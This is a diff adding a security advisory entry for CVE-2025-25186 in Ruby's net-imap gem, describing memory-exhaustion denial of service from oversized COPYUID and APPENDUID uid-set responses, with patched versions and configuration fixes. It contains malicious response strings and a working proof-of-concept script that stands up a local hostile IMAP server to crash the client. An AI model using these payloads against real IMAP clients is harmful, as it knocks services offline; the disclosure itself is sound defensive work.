|
| 1 | +--- |
| 2 | +gem: net-imap |
| 3 | +cve: 2025-25186 |
| 4 | +ghsa: 7fc5-f82f-cx69 |
| 5 | +url: https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69 |
| 6 | +title: Possible DoS by memory exhaustion in net-imap |
| 7 | +date: 2025-02-10 |
| 8 | +description: | |
| 9 | + ### Summary |
| 10 | + There is a possibility for denial of service by memory exhaustion in |
| 11 | + `net-imap`'s response parser. At any time while the client is |
| 12 | + connected, a malicious server can send can send highly compressed |
| 13 | + `uid-set` data which is automatically read by the client's receiver |
| 14 | + thread. The response parser uses `Range#to_a` to convert the |
| 15 | + `uid-set` data into arrays of integers, with no limitation on the |
| 16 | + expanded size of the ranges. |
| 17 | +
|
| 18 | + ### Details |
| 19 | + IMAP's `uid-set` and `sequence-set` formats can compress ranges of |
| 20 | + numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the |
| 21 | + same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or |
| 22 | + `COPYUID` response codes, it expands each `uid-set` into an array of |
| 23 | + integers. On a 64 bit system, these arrays will expand to 8 bytes |
| 24 | + for each number in the set. A malicious IMAP server may send |
| 25 | + specially crafted `APPENDUID` or `COPYUID` responses with very large |
| 26 | + `uid-set` ranges. |
| 27 | +
|
| 28 | + The `Net::IMAP` client parses each server response in a separate |
| 29 | + thread, as soon as each responses is received from the server. |
| 30 | + This attack works even when the client does not handle the |
| 31 | + `APPENDUID` or `COPYUID` responses. |
| 32 | +
|
| 33 | + Malicious inputs: |
| 34 | +
|
| 35 | + ```ruby |
| 36 | + # 40 bytes expands to ~1.6GB: |
| 37 | + "* OK [COPYUID 1 1:99999999 1:99999999]\r\n" |
| 38 | +
|
| 39 | + # Worst *valid* input scenario (using uint32 max), |
| 40 | + # 44 bytes expands to 64GiB: |
| 41 | + "* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n" |
| 42 | +
|
| 43 | + # Numbers must be non-zero uint32, but this isn't validated. Arrays |
| 44 | + # larger than UINT32_MAX can be created. For example, the following |
| 45 | + # would theoretically expand to almost 800 exabytes: |
| 46 | + "* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n" |
| 47 | + ``` |
| 48 | +
|
| 49 | + Simple way to test this: |
| 50 | + ```ruby |
| 51 | + require "net/imap" |
| 52 | +
|
| 53 | + def test(size) |
| 54 | + input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n" |
| 55 | + parser = Net::IMAP::ResponseParser.new |
| 56 | + parser.parse input |
| 57 | + end |
| 58 | +
|
| 59 | + test(99_999_999) |
| 60 | + ``` |
| 61 | +
|
| 62 | + ### Fixes |
| 63 | +
|
| 64 | + #### Preferred Fix, minor API changes |
| 65 | + Upgrade to v0.4.19, v0.5.6, or higher, and configure: |
| 66 | + ```ruby |
| 67 | + # globally |
| 68 | + Net::IMAP.config.parser_use_deprecated_uidplus_data = false |
| 69 | + # per-client |
| 70 | + imap = Net::IMAP.new(hostname, ssl: true, |
| 71 | + parser_use_deprecated_uidplus_data: false) |
| 72 | + imap.config.parser_use_deprecated_uidplus_data = false |
| 73 | + ``` |
| 74 | +
|
| 75 | + This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. |
| 76 | + These classes store their UIDs as `Net::IMAP::SequenceSet` objects |
| 77 | + (_not_ expanded into arrays of integers). Code that does not handle |
| 78 | + `APPENDUID` or `COPYUID` responses will not notice any difference. |
| 79 | + Code that does handle these responses _may_ need to be updated. See |
| 80 | + the documentation for |
| 81 | + [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), |
| 82 | + [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) |
| 83 | + and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html). |
| 84 | +
|
| 85 | + For v0.3.8, this option is not available. |
| 86 | + For v0.4.19, the default value is `true`. |
| 87 | + For v0.5.6, the default value is `:up_to_max_size`. |
| 88 | + For v0.6.0, the only allowed value will be `false` _(`UIDPlusData` |
| 89 | + will be removed from v0.6)_. |
| 90 | +
|
| 91 | + #### Mitigation, backward compatible API |
| 92 | + Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher. |
| 93 | +
|
| 94 | + For backward compatibility, `uid-set` can still be expanded |
| 95 | + into an array, but a maximum limit will be applied. |
| 96 | +
|
| 97 | + Assign `config.parser_max_deprecated_uidplus_data_size` to set the |
| 98 | + maximum `UIDPlusData` UID set size. When |
| 99 | + `config.parser_use_deprecated_uidplus_data == true`, larger sets will crash. |
| 100 | + When `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, |
| 101 | + larger sets will use `AppendUIDData` or `CopyUIDData`. |
| 102 | +
|
| 103 | + For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets |
| 104 | + will always raise `Net::IMAP::ResponseParseError`. |
| 105 | + For v0.4.19, the limit defaults to 1000. |
| 106 | + For v0.5.6, the limit defaults to 100. |
| 107 | + For v0.6.0, the limit will be ignored _(`UIDPlusData` will be |
| 108 | + removed from v0.6)_. |
| 109 | +
|
| 110 | + #### Please Note: unhandled responses |
| 111 | +
|
| 112 | + If the client does not add response handlers to prune unhandled |
| 113 | + responses, a malicious server can still eventually exhaust all |
| 114 | +
|
| 115 | + client memory, by repeatedly sending malicious responses. However, |
| 116 | + `net-imap` has always retained unhandled responses, and it has always |
| 117 | + been necessary for long-lived connections to prune these responses. |
| 118 | + _This is not significantly different from connecting to a trusted |
| 119 | + server with a long-lived connection._ To limit the maximum number |
| 120 | + of retained responses, a simple handler might look something like |
| 121 | + the following: |
| 122 | +
|
| 123 | + ```ruby |
| 124 | + limit = 1000 |
| 125 | + imap.add_response_handler do |resp| |
| 126 | + next unless resp.respond_to?(:name) && resp.respond_to?(:data) |
| 127 | + name = resp.name |
| 128 | + code = resp.data.code&.name if resp.data.respond_to?(:code) |
| 129 | + if Net::IMAP::VERSION > "0.4.0" |
| 130 | + imap.responses(name) { _1.slice!(0...-limit) } |
| 131 | + imap.responses(code) { _1.slice!(0...-limit) } |
| 132 | + else |
| 133 | + imap.responses(name).slice!(0...-limit) |
| 134 | + imap.responses(code).slice!(0...-limit) |
| 135 | + end |
| 136 | + end |
| 137 | + ``` |
| 138 | +
|
| 139 | + ### Proof of concept |
| 140 | +
|
| 141 | + Save the following to a ruby file (e.g: `poc.rb`) and |
| 142 | + make it executable: |
| 143 | + ```ruby |
| 144 | + #!/usr/bin/env ruby |
| 145 | + require 'socket' |
| 146 | + require 'net/imap' |
| 147 | +
|
| 148 | + if !defined?(Net::IMAP.config) |
| 149 | + puts "Net::IMAP.config is not available" |
| 150 | + elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data) |
| 151 | + puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available" |
| 152 | + else |
| 153 | + Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size |
| 154 | + puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size" |
| 155 | + end |
| 156 | +
|
| 157 | + size = Integer(ENV["UID_SET_SIZE"] || 2**32-1) |
| 158 | +
|
| 159 | + def server_addr |
| 160 | + Addrinfo.tcp("localhost", 0).ip_address |
| 161 | + end |
| 162 | +
|
| 163 | + def create_tcp_server |
| 164 | + TCPServer.new(server_addr, 0) |
| 165 | + end |
| 166 | +
|
| 167 | + def start_server |
| 168 | + th = Thread.new do |
| 169 | + yield |
| 170 | + end |
| 171 | + sleep 0.1 until th.stop? |
| 172 | + end |
| 173 | +
|
| 174 | + def copyuid_response(tag: "*", size: 2**32-1, text: "too large?") |
| 175 | + "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" |
| 176 | + end |
| 177 | +
|
| 178 | + def appenduid_response(tag: "*", size: 2**32-1, text: "too large?") |
| 179 | + "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" |
| 180 | + end |
| 181 | +
|
| 182 | + server = create_tcp_server |
| 183 | + port = server.addr[1] |
| 184 | + puts "Server started on port #{port}" |
| 185 | +
|
| 186 | + # server |
| 187 | + start_server do |
| 188 | + sock = server.accept |
| 189 | + begin |
| 190 | + sock.print "* OK test server\r\n" |
| 191 | + cmd = sock.gets("\r\n", chomp: true) |
| 192 | + tag = cmd.match(/\A(\w+) /)[1] |
| 193 | + puts "Received: #{cmd}" |
| 194 | +
|
| 195 | + malicious_response = appenduid_response(size:) |
| 196 | + puts "Sending: #{malicious_response.chomp}" |
| 197 | + sock.print malicious_response |
| 198 | +
|
| 199 | + malicious_response = copyuid_response(size:) |
| 200 | + puts "Sending: #{malicious_response.chomp}" |
| 201 | + sock.print malicious_response |
| 202 | + sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n" |
| 203 | + sock.print "#{tag} OK CAPABILITY completed\r\n" |
| 204 | +
|
| 205 | + cmd = sock.gets("\r\n", chomp: true) |
| 206 | + tag = cmd.match(/\A(\w+) /)[1] |
| 207 | + puts "Received: #{cmd}" |
| 208 | + sock.print "* BYE If you made it this far, you passed the test!\r\n" |
| 209 | + sock.print "#{tag} OK LOGOUT completed\r\n" |
| 210 | + rescue Exception => ex |
| 211 | + puts "Error in server: #{ex.message} (#{ex.class})" |
| 212 | + ensure |
| 213 | + sock.close |
| 214 | + server.close |
| 215 | + end |
| 216 | + end |
| 217 | +
|
| 218 | + # client |
| 219 | + begin |
| 220 | + puts "Client connecting,.." |
| 221 | + imap = Net::IMAP.new(server_addr, port: port) |
| 222 | + puts "Received capabilities: #{imap.capability}" |
| 223 | + pp responses: imap.responses |
| 224 | + imap.logout |
| 225 | + rescue Exception => ex |
| 226 | + puts "Error in client: #{ex.message} (#{ex.class})" |
| 227 | + puts ex.full_message |
| 228 | + ensure |
| 229 | + imap.disconnect if imap |
| 230 | + end |
| 231 | + ``` |
| 232 | +
|
| 233 | + Use `ulimit` to limit the process's virtual memory. The following |
| 234 | + example limits virtual memory to 1GB: |
| 235 | + ```console |
| 236 | + $ ( ulimit -v 1000000 && exec ./poc.rb ) |
| 237 | + Server started on port 34291 |
| 238 | + Client connecting,.. |
| 239 | + Received: RUBY0001 CAPABILITY |
| 240 | + Sending: * OK [APPENDUID 1 1:4294967295] too large? |
| 241 | + Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large? |
| 242 | + Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET) |
| 243 | + Error in client: failed to allocate memory (NoMemoryError) |
| 244 | + /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError) |
| 245 | + from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command' |
| 246 | + from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' |
| 247 | + from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' |
| 248 | + from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command' |
| 249 | + from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' |
| 250 | + from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' |
| 251 | + from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' |
| 252 | + from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' |
| 253 | + from /workspace/poc.rb:70:in '<main>' |
| 254 | + ``` |
| 255 | +cvss_v3: 6.5 |
| 256 | +unaffected_versions: |
| 257 | + - "< 0.3.2" |
| 258 | +patched_versions: |
| 259 | + - "~> 0.3.8" |
| 260 | + - "~> 0.4.19" |
| 261 | + - ">= 0.5.6" |
| 262 | +related: |
| 263 | + url: |
| 264 | + - https://nvd.nist.gov/vuln/detail/CVE-2025-25186 |
| 265 | + - https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69 |
| 266 | + - https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35 |
| 267 | + - https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3 |
| 268 | + - https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022 |
| 269 | + - https://github.com/advisories/GHSA-7fc5-f82f-cx69 |
0 commit comments